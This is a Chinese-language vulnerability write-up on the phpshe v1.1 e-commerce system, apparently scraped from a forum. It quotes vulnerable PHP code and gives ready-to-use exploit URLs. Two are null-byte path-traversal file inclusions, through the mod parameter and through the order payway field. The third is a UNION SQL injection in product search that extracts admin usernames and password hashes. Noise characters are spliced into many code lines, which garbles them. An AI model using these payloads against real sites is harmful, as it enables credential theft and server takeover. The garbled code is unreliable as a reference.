phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
# B: b. R/ k! ^( D/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
5 m* A6 b! X& T/*******************************************************/
, {. `+ t7 ~' x/ ?" C0×00 整体大概参数传输

( B9 S4 L( i3 t  \3 S9 B) [
( T' J7 n3 D; @, j2 T: s
0 ^) @  M' T: x; y0 M//common.php
; t6 W) V% |" _  ?if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
, g$ h& ^4 {: r; U! ~else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
$ Z+ t& t8 p( V) g1 R  V( L!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
- U9 B) z8 l, \$ _1 a}
, L: x& r8 ~- k6 z. g3 ]# O! X) Usession_start();
  q7 f5 |( U5 _9 N7 H!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
/ }# H! k" ~3 f7 i* k1 d
$ {: v' S2 W, H  a8 t0×01 包含漏洞

) z# E5 @. b$ _7 P* ]0 T& Y" `1 ~
( N7 P& ]6 n2 H) K6 E9 Z8 S//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
0 A' q, @  O) }5 Rinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
( G" k- v( F' w7 U0 j' }7 `pe_result();
?>
# o5 o; s# O! K//common 文件 第15行开始
5 s0 n& I0 y$ |4 h0 F4 g0 S, N# c. T& Uurl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
, R& u" K. M1 P0 v' f$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
' p- y5 }6 v( Y3 {" l//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
- v4 E  j: y9 B7 ?8 i! D5 x

0×02 搜索注入
3 n; e. a" X7 I/ \5 ]
<code id="code2">

//product.php文件
case 'list':
( K8 m9 ^( g) M; b7 V9 k3 L2 ?$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
2 U% J5 g$ d: C/ h" U) s3 j//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
/ n% }! q' E1 E2 D$ O3 ]7 fif ($category_id) {
/ k/ A5 L( ~3 j2 Rwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
0 L' X3 Z' Q3 B2 R7 [  \}
* N  W/ Z1 V4 _, k$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
! a3 c8 C1 q$ o7 U5 Rif ($_g_orderby) {
+ j  N+ ^9 C5 i5 m$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
) g+ G4 w# m2 r) p7 }( f$sqlwhere .= " order by `product_id` desc";
/ o3 ]) M, ?# D}
! P: j& |# P) t* y$ d0 S$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
& h3 S% y3 t2 s//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
& S! P& T8 l* f5 c7 _$seo = pe_seo($info['category_name']);
, `4 _' g" D  g' }0 S1 n1 pinclude(pe_tpl('product_list.html'));
; e7 ^/ O$ }- n+ o2 E//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
8 N5 v/ E2 l  L( q: P{
//处理条件语句
: W: F* l% \; W, B$sqlwhere = $this->_dowhere($where);
! _9 K8 {& R% n% z  a( ?return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
6 ]0 B* K! e" }# g6 m, D% P//exp
# ^- V, k& s- [( Aproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

' f  z0 H' L* V. {" L/ H0×03 包含漏洞2
% a, ]$ K. T7 f+ J+ a
7 ^2 c$ ~; B1 Y: r" s' d6 c<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

. l* K1 U: b0 }/ S! sif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

8 Y( y! m$ P+ i, _0 P) S$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

2 p+ u$ o. Y& t0 I1 U* ?# f!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

+ _3 @+ H; p( F5 ^if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

: I6 P& W3 i% _& r0 X; L' _1 O7 _$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

/ p" n9 U/ P+ [}

7 F2 n. q% v2 Z; S+ A  gecho '正在为您连接支付网站，请稍后...';

& K& {3 |3 M7 J0 N5 x( S' u3 Oinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

$ W. ~( R, [, h* i}//当一切准备好的时候就可以进行"鸡肋包含了"

" d0 b# E7 n' j- g9 G9 h& V2 Aelse {

6 T; W: R: c* E) i" a; mpe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

2 @$ {: v# P3 p( K* }break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>